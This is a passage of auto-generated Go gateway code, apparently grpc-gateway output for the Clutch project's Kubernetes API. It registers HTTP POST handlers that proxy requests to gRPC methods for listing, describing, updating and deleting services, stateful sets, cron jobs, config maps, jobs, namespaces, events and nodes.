runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/ListServices\", runtime.WithHTTPPathPattern(\"/v1/k8s/listServices\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_ListServices_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_ListServices_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DeleteService_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DeleteService\", runtime.WithHTTPPathPattern(\"/v1/k8s/deleteService\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DeleteService_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DeleteService_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DescribeStatefulSet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DescribeStatefulSet\", runtime.WithHTTPPathPattern(\"/v1/k8s/describeStatefulSet\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DescribeStatefulSet_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DescribeStatefulSet_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_ListStatefulSets_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/ListStatefulSets\", runtime.WithHTTPPathPattern(\"/v1/k8s/listStatefulSets\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_ListStatefulSets_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_ListStatefulSets_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_UpdateStatefulSet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/UpdateStatefulSet\", runtime.WithHTTPPathPattern(\"/v1/k8s/updateStatefulSet\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_UpdateStatefulSet_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_UpdateStatefulSet_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DeleteStatefulSet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DeleteStatefulSet\", runtime.WithHTTPPathPattern(\"/v1/k8s/deleteStatefulSet\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DeleteStatefulSet_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DeleteStatefulSet_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DescribeCronJob_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DescribeCronJob\", runtime.WithHTTPPathPattern(\"/v1/k8s/describeCronJob\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DescribeCronJob_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DescribeCronJob_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_ListCronJobs_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/ListCronJobs\", runtime.WithHTTPPathPattern(\"/v1/k8s/listCronJobs\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_ListCronJobs_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_ListCronJobs_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DeleteCronJob_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DeleteCronJob\", runtime.WithHTTPPathPattern(\"/v1/k8s/deleteCronJob\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DeleteCronJob_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DeleteCronJob_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_ListConfigMaps_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/ListConfigMaps\", runtime.WithHTTPPathPattern(\"/v1/k8s/listConfigMaps\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_ListConfigMaps_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_ListConfigMaps_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DescribeConfigMap_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DescribeConfigMap\", runtime.WithHTTPPathPattern(\"/v1/k8s/describeConfigMap\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DescribeConfigMap_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DescribeConfigMap_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DeleteConfigMap_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DeleteConfigMap\", runtime.WithHTTPPathPattern(\"/v1/k8s/deleteConfigMap\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DeleteConfigMap_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DeleteConfigMap_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DescribeJob_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DescribeJob\", runtime.WithHTTPPathPattern(\"/v1/k8s/describeJob\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DescribeJob_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DescribeJob_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_ListJobs_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/ListJobs\", runtime.WithHTTPPathPattern(\"/v1/k8s/listJobs\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_ListJobs_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_ListJobs_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DeleteJob_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DeleteJob\", runtime.WithHTTPPathPattern(\"/v1/k8s/deleteJob\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DeleteJob_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DeleteJob_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_CreateJob_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/CreateJob\", runtime.WithHTTPPathPattern(\"/v1/k8s/createJob\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_CreateJob_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_CreateJob_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DescribeNamespace_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DescribeNamespace\", runtime.WithHTTPPathPattern(\"/v1/k8s/describeNamespace\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DescribeNamespace_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DescribeNamespace_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_ListEvents_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/ListEvents\", runtime.WithHTTPPathPattern(\"/v1/k8s/listEvents\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_ListEvents_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_ListEvents_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_DescribeNode_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/DescribeNode\", runtime.WithHTTPPathPattern(\"/v1/k8s/describeNode\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_DescribeNode_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_DescribeNode_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_UpdateNode_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/UpdateNode\", runtime.WithHTTPPathPattern(\"/v1/k8s/updateNode\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_UpdateNode_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_UpdateNode_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_K8SAPI_ListNamespaceEvents_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clutch.k8s.v1.K8SAPI/ListNamespaceEvents\", runtime.WithHTTPPathPattern(\"/v1/k8s/listNamespaceEvents\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_K8SAPI_ListNamespaceEvents_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, 